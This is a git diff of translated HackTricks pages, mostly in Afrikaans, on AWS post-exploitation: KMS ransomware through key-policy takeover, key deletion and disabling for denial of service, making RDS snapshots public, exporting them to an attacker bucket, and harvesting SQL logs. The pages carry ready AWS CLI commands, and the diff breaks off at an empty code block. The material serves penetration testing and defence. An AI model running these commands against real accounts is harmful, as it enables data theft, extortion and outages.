Met toestemmings soos `kms:CancelKeyDeletion` en `kms:EnableKey` kan 'n akteur 'n geskeduleerde uitwissing van 'n AWS KMS customer master key kanselleer en dit later weer aktiveer. Dit herstel die sleutel (aanvanklik in Disabled state) en herstel sy vermoë om voorheen beskermde data te ontsleutel, wat exfiltration moontlik maak.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
--key-id <Key_ID>
|
||||
|
||||
## Second enable the key
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Deaktiveer Sleutel
|
||||
Met die `kms:DisableKey`-toestemming kan 'n akteur 'n AWS KMS customer master key (CMK) deaktiveer, wat verhoed dat dit vir enkripsie of dekripsie gebruik word. Dit breek toegang vir enige dienste wat van daardie CMK afhanklik is en kan onmiddellike ontwrigtinge of 'n denial-of-service' veroorsaak totdat die sleutel weer geaktiveer word.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derive Shared Secret
|
||||
Met die `kms:DeriveSharedSecret`-toestemming kan 'n akteur 'n private key wat deur KMS gehou word, saam met 'n deur die gebruiker verskafte public key gebruik om 'n ECDH shared secret te bereken.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Met die `kms:Sign`-toestemming kan 'n akteur 'n KMS-stored CMK gebruik om data kriptografies te teken sonder om die private key bloot te stel, waardeur geldige signatures geskep word wat impersonation kan moontlik maak of kwaadwillige aksies kan magtig.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
--message fileb://<ruta-al-archivo> \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS met Custom Key Stores
|
||||
Met toestemmings soos `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, of `kms:UpdateCustomKeyStore` kan 'n akteur 'n AWS KMS Custom Key Store (CKS) wysig, ontkoppel of verwyder, waardeur die meester-sleutels onbruikbaar raak. Dit breek versleuteling, ontsleuteling en ondertekeningsoperasies vir enige dienste wat op daardie sleutels staatmaak en kan 'n onmiddellike denial-of-service veroorsaak. Om daardie toestemmings te beperk en te monitor is dus krities.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+182
@@ -0,0 +1,182 @@
|
||||
# AWS - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Encrypt/Decrypt inligting
|
||||
|
||||
`fileb://` and `file://` are URI-skemas wat in AWS CLI-opdragte gebruik word om die pad na plaaslike lêers te spesifiseer:
|
||||
|
||||
- `fileb://:` Lees die lêer in binêre modus, algemeen gebruik vir nie-tekslêers.
|
||||
- `file://:` Lees die lêer in teksmodus, tipies gebruik vir gewone tekslêers, skripte, of JSON wat nie spesiale koderingvereistes het nie.
|
||||
|
||||
> [!TIP]
|
||||
> Let wel dat as jy sommige data binne 'n lêer wil decrypt, moet die lêer die binêre data bevat, nie base64-geënkodeerde data nie. (fileb://)
|
||||
|
||||
- Gebruik 'n **symmetric** sleutel
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Gebruik 'n **asimmetriese** sleutel:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
An attacker met bevoorregte toegang tot KMS kan die KMS policy van sleutels wysig en **sy account toegang tot hulle gee**, en sodoende die toegang wat aan die legit account verleen is, verwyder.
|
||||
|
||||
Dan sal die legit account gebruikers nie toegang hê tot enige inligting van enige diens wat met daardie sleutels versleuteld is nie, wat 'n maklike maar effektiewe ransomware oor die account skep.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**.
|
||||
|
||||
> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
|
||||
{
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Let wel dat as jy daardie beleid verander en slegs toegang aan 'n eksterne rekening gee, en dan vanaf hierdie eksterne rekening probeer om 'n nuwe beleid te stel om die toegang terug te gee aan die oorspronklike rekening, sal jy dit nie kan doen nie omdat die **Put Polocy action cannot be performed from a cross account**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generic KMS Ransomware
|
||||
|
||||
Daar is nog 'n manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe behels:
|
||||
|
||||
- Skep 'n nuwe **key with a key material** ingevoer deur die aanvaller
|
||||
- **Re-encrypt older data** van die slagoffer wat met die vorige weergawe geïnkripteer is met die nuwe een.
|
||||
- **Delete the KMS key**
|
||||
- Nou sal slegs die aanvaller, wat die oorspronklike key material het, in staat wees om die geïnkripteerde data te ontsleutel
|
||||
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
Met die `kms:DeleteImportedKeyMaterial` toestemming kan 'n akteur die imported key material van CMKs met `Origin=EXTERNAL` (CMKs wat hul key material ingevoer het) verwyder, wat hulle onmoontlik sal maak om data te ontsleutel. Hierdie aksie is vernietigend en onomkeerbaar tensy kompatibele materiaal weer ingevoer word, wat 'n aanvaller effektief toelaat om ransomware-agtige dataverlies te veroorsaak deur geïnkripteerde inligting permanent ontoeganklik te maak.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Destroy keys
|
||||
|
||||
Deur sleutels te vernietig, is dit moontlik om 'n DoS uit te voer.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Let daarop dat AWS nou **voorkom dat die vorige aksies van 'n kruis-rekening uitgevoer word:**
|
||||
|
||||
### Verander of verwyder Alias
|
||||
Hierdie aanval verwyder of herlei AWS KMS aliases, breek sleuteloplossing en veroorsaak onmiddellike foute in enige dienste wat op daardie aliases staatmaak, wat lei tot 'n denial-of-service. Met permissies soos `kms:DeleteAlias` of `kms:UpdateAlias` kan 'n aanvaller aliases verwyder of herlei en kriptografiese operasies (bv. encrypt, describe) ontwrig. Enige diens wat na die alias verwys in plaas van die key ID kan misluk totdat die alias herstel of korrek herkaarteer is.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
|
||||
# Update Alias
|
||||
aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Kanselleer Sleutelverwydering
|
||||
Met toestemmings soos `kms:CancelKeyDeletion` en `kms:EnableKey` kan 'n bedreigingsakteur 'n geskeduleerde verwydering van 'n AWS KMS customer master key kanselleer en dit later heraktiveer. Dit herstel die sleutel (aanvanklik in Disabled state) en herstel sy vermoë om voorheen beskermde data te ontsleutel, waardeur exfiltration moontlik word.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
--key-id <Key_ID>
|
||||
|
||||
## Second enable the key
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Disable Key
|
||||
Met die `kms:DisableKey`-toestemming kan 'n akteur 'n AWS KMS customer master key deaktiveer, wat verhoed dat dit vir enkripsie of dekripsie gebruik word. Dit breek die toegang vir enige dienste wat van daardie CMK afhanklik is en kan onmiddellike ontwrigting of 'n diensweigering veroorsaak totdat die sleutel weer geaktiveer word.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Aflei van 'n gedeelde geheim
|
||||
Met die `kms:DeriveSharedSecret`-toestemming kan 'n akteur 'n deur KMS gehoude private sleutel en 'n deur 'n gebruiker verskafde publieke sleutel gebruik om 'n ECDH-gedeelde geheim te bereken.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Met die `kms:Sign` toestemming kan 'n akteur 'n KMS-stored CMK gebruik om data kriptografies te teken sonder om die private sleutel bloot te stel, waardeur geldige handtekeninge gegenereer word wat impersonation moontlik kan maak of kwaadwillige aksies kan magtig.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
--message fileb://<ruta-al-archivo> \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS with Custom Key Stores
|
||||
Met toestemmings soos `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, of `kms:UpdateCustomKeyStore` kan 'n akteur 'n AWS KMS Custom Key Store (CKS) wysig, ontkoppel of verwyder, wat sy master keys onbruikbaar maak. Dit breek enkripsie-, dekripsie- en ondertekeningsbedrywighede vir enige dienste wat op daardie sleutels staatmaak en kan onmiddellike denial-of-service veroorsaak. Daarom is dit kritiek om daardie toestemmings te beperk en te monitor.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-30
@@ -1,30 +0,0 @@
|
||||
# AWS - Lightsail Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Herstel ou DB-snapshots
|
||||
|
||||
As die DB snapshots het, mag jy in staat wees om **sensitiewe inligting wat tans in ou snapshots verwyder is, te vind**. **Herstel** die snapshot in 'n **nuwe databasis** en kyk daarna.
|
||||
|
||||
### Herstel Instansie Snapshots
|
||||
|
||||
Instansie snapshots mag **sensitiewe inligting** van reeds verwyderde instansies of sensitiewe inligting wat in die huidige instansie verwyder is, bevat. **Skep nuwe instansies vanaf die snapshots** en kyk daarna.\
|
||||
Of **voer die snapshot uit na 'n AMI in EC2** en volg die stappe van 'n tipiese EC2 instansie.
|
||||
|
||||
### Toegang tot Sensitiewe Inligting
|
||||
|
||||
Kyk na die Lightsail privesc opsies om verskillende maniere te leer om potensiële sensitiewe inligting te bekom:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-lightsail-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+30
@@ -0,0 +1,30 @@
|
||||
# AWS - Lightsail Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Restore old DB snapshots
|
||||
|
||||
As die DB snapshots het, kan jy dalk **gevoelige inligting vind wat tans in die huidige databasis uitgevee is maar in ou snapshots bestaan**. **Herstel** die snapshot in 'n **nuwe databasis** en kontroleer dit.
|
||||
|
||||
### Restore Instance Snapshots
|
||||
|
||||
Instance snapshots kan moontlik **gevoelige inligting** bevat van reeds verwyderde instances of sensitiewe inligting wat in die huidige instance verwyder is. **Skep nuwe instances vanaf die snapshots** en kontroleer dit.\
|
||||
Of **export the snapshot to an AMI in EC2** and follow the steps of a typical EC2 instance.
|
||||
|
||||
### Access Sensitive Information
|
||||
|
||||
Kyk na die Lightsail privesc-opsies om verskillende maniere te leer om moontlike gevoelige inligting te verkry:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-lightsail-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-17
@@ -1,17 +0,0 @@
|
||||
# AWS - Organisasies Post Exploitatie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organisasies
|
||||
|
||||
Vir meer inligting oor AWS Organisasies, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Verlaat die Organisasie
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
# AWS - Organizations Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizations
|
||||
|
||||
Vir meer inligting oor AWS Organizations, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Verlaat die Org
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+67
-67
@@ -1,18 +1,18 @@
|
||||
# AWS - RDS Post-uitbuiting
|
||||
# AWS - RDS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
As die aanvaller genoeg toestemmings het, kan hy 'n **DB openbaar toeganklik** maak deur 'n snapshot van die DB te skep, en dan 'n openbaar toeganklike DB uit daardie snapshot te herstel.
|
||||
As die attacker genoeg permissions het, kan hy 'n **DB publiek toeganklik** maak deur 'n snapshot van die DB te skep, en dan 'n publiek toeganklike DB vanaf die snapshot te herstel.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
'n aanvaller met hierdie toestemmings kan **'n snapshot van 'n DB skep** en dit **openlik** **beskikbaar** maak. Dan kan hy net in sy eie rekening 'n DB uit daardie snapshot skep.
|
||||
'n aanvaller met hierdie toestemmings kan **'n snapshot van 'n DB skep** en dit **openbaar** **beskikbaar** maak. Dan kan hy net in sy eie rekening 'n DB vanaf daardie snapshot skep.
|
||||
|
||||
As die aanvaller **nie die `rds:CreateDBSnapshot` het nie**, kan hy steeds **ander** geskepte snapshots **publiek** maak.
|
||||
As die aanvaller **nie die `rds:CreateDBSnapshot` het nie**, kan hy steeds **ander** geskepte snapshots **openbaar** maak.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,48 +53,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
'n aanvaller met die `rds:DownloadDBLogFilePortion`-toestemming kan **gedeeltes van 'n RDS-instansie se loglêers aflaai**. As sensitiewe data of inlogbewyse per ongeluk aangeteken word, kan die aanvaller hierdie inligting moontlik gebruik om hul voorregte te verhoog of om ongemagtigde aksies uit te voer.
|
||||
'n aanvaller met die `rds:DownloadDBLogFilePortion` toestemming kan **gedeeltes van 'n RDS-instansie se loglêers aflaai**. As sensitiewe data of inlogbesonderhede per ongeluk in loglêers aangeteken word, kan die aanvaller hierdie inligting moontlik gebruik om hul bevoegdhede te eskaleer of om ongemagtigde handelinge uit te voer.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potensiële impak**: Toegang tot sensitiewe inligting of ongemagtigde aksies deur gebruik te maak van leaked credentials.
|
||||
**Potensiële impak**: Toegang tot sensitiewe inligting of ongemagtigde handelinge deur gebruik te maak van leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
’n aanvaller met hierdie permissies kan **DoS existing RDS instances**.
|
||||
'n aanvaller met hierdie toestemmings kan **DoS bestaande RDS instansies**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Potensiële impak**: Verwydering van bestaande RDS-instanse en moontlike dataverlies.
|
||||
**Potensiële impak**: Verwydering van bestaande RDS-instansies en moontlike dataverlies.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets
|
||||
|
||||
'n attacker met hierdie toestemming kan **export an RDS instance snapshot to an S3 bucket**. As die attacker beheer oor die bestemming S3 bucket het, kan hulle moontlik toegang kry tot sensitiewe data in die uitgevoerde snapshot.
|
||||
'n aanvaller met hierdie toestemming kan **'n RDS-instansie-snapshot na 'n S3-bucket uitvoer**. Indien die aanvaller beheer oor die bestemmings-S3-bucket het, kan hulle moontlik sensitiewe data binne die geëksporteerde snapshot toegang kry.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potensiële impak**: Toegang tot sensitiewe data in die uitgevoerde snapshot.
|
||||
|
||||
### Kruis-Region Outomatiese Rugsteunreplikasie vir Stil Herstel (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Misbruik kruis-Region outomatiese rugsteunreplikasie om stilweg 'n RDS-instansie se outomatiese rugsteune na 'n ander AWS Region te dupliseer en daar te herstel. Die aanvaller kan dan die herstelde DB openbaar toeganklik maak en die master-wagwoord terugstel om data buite-band te bekom in 'n Region wat verdedigers moontlik nie monitor nie.
|
||||
Misbruik cross-Region automated backups replication om stilweg 'n RDS-instance se automated backups na 'n ander AWS Region te dupliseer en daar te herstel. Die aanvaller kan dan die herstelde DB openbaar toeganklik maak en die master-wagwoord terugstel om toegang tot data op 'n wyse buite die normale monitering te verkry in 'n Region wat verdedigers moontlik nie monitor nie.
|
||||
|
||||
Benodigde permissies (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in die bestemming Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in die bestemming Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in die bestemming Region
|
||||
- `rds:ModifyDBInstance` in die bestemming Region
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (opsionele opruiming)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (om die herstelde DB bloot te stel)
|
||||
|
||||
Impak: Persistensie en data-ekssfiltrasie deur 'n kopie van produksiedata in 'n ander Region te herstel en dit openbaar te stel met deur die aanvaller beheerde inlogbesonderhede.
|
||||
Impak: Persistensie en data-eksfiltrasie deur 'n kopie van produksiedata in 'n ander Region te herstel en dit openbaar bloot te stel met deur die aanvaller beheerde inlogbewyse.
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI (vervang plaashouers)</summary>
|
||||
<summary>End-tot-end CLI (vervang plekhouers)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Aktiveer volledige SQL-logging via DB-parametergroepe en eksfiltreer via RDS-log APIs
|
||||
### Skakel volledige SQL-logging in via DB-parametergroepe en exfiltrate via RDS log APIs
|
||||
|
||||
Misbruik `rds:ModifyDBParameterGroup` saam met RDS log download APIs om alle SQL-opdragte wat deur toepassings uitgevoer word te vang (geen DB engine credentials benodig nie). Skakel engine SQL-logging in en haal die loglêers via `rds:DescribeDBLogFiles` en `rds:DownloadDBLogFilePortion` (of die REST `downloadCompleteLogFile`). Nuttig om query's te versamel wat geheime/PII/JWTs kan bevat.
|
||||
Misbruik `rds:ModifyDBParameterGroup` saam met RDS log download APIs om alle SQL-opdragte wat deur toepassings uitgevoer word vas te lê (geen DB engine credentials benodig nie). Skakel engine SQL-logging in en haal die loglêers af via `rds:DescribeDBLogFiles` en `rds:DownloadDBLogFilePortion` (of die REST `downloadCompleteLogFile`). Nuttig om queries te versamel wat moontlik secrets/PII/JWTs bevat.
|
||||
|
||||
Permissions needed (minimum):
|
||||
Benodigde permissies (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
|
||||
Steps
|
||||
1) Recon target en huidige parametergroep
|
||||
Stappe
|
||||
1) Recon die teiken en huidige parametergroep
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Verseker dat 'n aangepaste DB parameter group aangeheg is (kan nie die standaard wysig nie)
|
||||
- As die instansie reeds 'n aangepaste DB parameter group gebruik, hergebruik die naam daarvan in die volgende stap.
|
||||
- Anders skep en heg een aan wat by die enjinfamilie pas:
|
||||
2) Verseker dat 'n pasgemaakte DB parameter group aangeheg is (kan nie die standaard wysig nie)
|
||||
- As die instansie reeds 'n pasgemaakte groep gebruik, hergebruik sy naam in die volgende stap.
|
||||
- Andersins skep en heg een aan wat ooreenstem met die engine family:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -196,8 +196,8 @@ aws rds modify-db-instance \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Skakel uitgebreide SQL-logging in
|
||||
- MySQL-enjins (onmiddellik / geen herstart):
|
||||
3) Skakel verbose SQL logging aan
|
||||
- MySQL engines (onmiddellik / geen herbegin nodig):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL engines (herbegin vereis):
|
||||
- PostgreSQL enjinne (herbegin vereis):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Laat die workload loop (of genereer queries). Statements sal geskryf word na engine file logs
|
||||
4) Laat die werkbelasting loop (of genereer navrae). Statements sal geskryf word na engine-lêerlogs
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Ontdek en laai logs af (geen DB creds benodig)
|
||||
5) Ontdek en laai logs af (no DB creds required)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -246,7 +246,7 @@ Voorbeeldbewys (gesensureer):
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Opruiming
|
||||
- Stel parameters terug na verstek en herbegin indien nodig:
|
||||
- Herstel parameters na verstekwaardes en herbegin indien nodig:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impak: Post-exploitation toegang tot data deur alle application SQL statements via AWS APIs (no DB creds) vas te vang, wat moontlik secrets, JWTs en PII kan leak.
|
||||
Impak: Post-exploitation toegang tot data deur alle toepassing se SQL-opdragte via AWS APIs vas te vang (no DB creds), moontlik leaking secrets, JWTs, and PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Misbruik RDS read replicas om out-of-band lees-toegang te kry sonder om die primary instance credentials aan te raak. 'n Aanvaller kan 'n read replica van 'n produksie-instansie skep, die replica se master-wagwoord terugstel (this does not change the primary), en opsioneel die replica publiek blootstel om data te exfiltrate.
|
||||
Misbruik RDS read replicas om out-of-band read access te verkry sonder om die primary instance credentials aan te raak. 'n aanvaller kan 'n read replica van 'n produksie-instansie skep, die replica se master password terugstel (dit verander nie die primary nie), en opsioneel die replica openbaar blootstel om data te exfiltrate.
|
||||
|
||||
Benodigde permissies (minimum):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (as jy dit publiekelik blootstel)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (as die replica openbaar blootgestel word)
|
||||
|
||||
Impak: Lees-slegs toegang tot produksiedata via 'n replica met aanvaller-beheerde credentials; laer waarskynlikheid van opsporing aangesien die primêre ongemoeid bly en replikasie voortgaan.
|
||||
Impak: Read-only toegang tot produksiedata via 'n replica met attacker-controlled credentials; laer waarskynlikheid van deteksie aangesien die primary onaangeraak bly en replication voortgaan.
|
||||
```bash
|
||||
